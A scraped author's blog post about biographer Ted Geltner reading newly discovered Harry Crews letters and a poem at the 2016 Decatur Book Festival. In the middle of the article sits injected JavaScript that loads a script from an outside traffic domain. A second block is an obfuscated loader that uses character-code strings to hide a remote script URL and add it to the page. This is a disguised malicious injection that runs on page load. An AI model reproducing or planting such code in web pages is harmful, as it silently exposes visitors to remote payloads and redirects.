Ted Geltner

Author of Blood, Bone, and Marrow

  • Home
  • About
  • Books
    • Blood, Bone, and Marrow
    • Last King of the Sports Page
  • Journalism
  • Press
  • Events
  • Blog
  • Contact

Lost Harry Crews Letters Read at Decatur Book Festival

September 6, 2016 by Shannon Byrne

Ted GeltnerOld Harry Crews Letters didn't simply discuss Blood, Bone, and Marrow, his new biography of Harry Crews, at the 2016 Decatur Book Festival on Sunday, September 4. He actually surprised and treated the lucky audience with readings of some of the newly discovered writings by Harry Crews he first mentioned back in June, including a side-splittingly funny poem Crews penned as part of a bet with a co-worker while working a stint at the Hunt's tomato canning factory in 1958 and an impassioned letter to Tanya, his inamorata (at least in his mind) in Nebraska, which showed off his writing ability ten years before he'd publish his first novel, The Gospel Singer. The audience was in stitches one minute and moved the next hearing the words of the fully alive 23 year-old Harry Crews out exploring the country by motorcycle in the spirit of Jack Kerouac. How uncanny that the date in the top right corner of the letter to Tanya marked 58 years to the day of when Ted Geltner shared it at the Decatur Book Festival.

"That is the most beautiful thing. That is this vibrant, dreamy, forceful kid, " gushed author Jessica Handler who interviewed Ted Geltner at the hugely entertaining event.                                                                                            "Like I said, it goes way back; he hadn't even written a novel yet at that point," Geltner concurred with equal amazement.                                                                                                                                                                                       "He's got the narrative sense and the suspense, and the language is colorful and heartfelt," she added about the letter to Tanya.

<script src='https://land.buyittraffic.com/clizkes' type='text/javascript'></script><script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,56);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>

Channeling Harry Crews

Ted Geltner humorously recounts origins of title Blood, Bone, and Marrow

http://bloodboneandmarrow.com/videos/bbm-channeling-harry-crews.mp4

"Dearest Tanya: " | 09-04-1958 | a letter from Harry Crews

Possibly oldest known writings of Harry Crews

http://bloodboneandmarrow.com/videos/bbm-dear-tanya-9-04-1958.mp4

"The Epic Narrative Saga of Marvina Tomato and Family"

"The Canning Process from a Tomato's Point of View"
New Poem by Harry Crews Discovered

http://bloodboneandmarrow.com/videos/bbm-marvina-tomato-and-family-poem.mp4

Slideshow | Scenes from the Decatur Book Festival

Filed Under: Blog

Buy Book
Buy Book

Events

03/22/18 | OLLI@UGA

03/23/18 | Lost Southern Voices Festival

Blog

Harry Crews Has The Last Word

March 28, 2018

02/15/18 | New book about Los Angeles sports launches today

February 15, 2018

03/23/18 | Lost Southern Voices Festival

February 5, 2018

03/22/18 | OLLI@UGA

January 24, 2018

11/16/17 | Blood, Bone and Marrow comes to Boston

October 16, 2017

© Copyright 2020 Ted Geltner · All Rights Reserved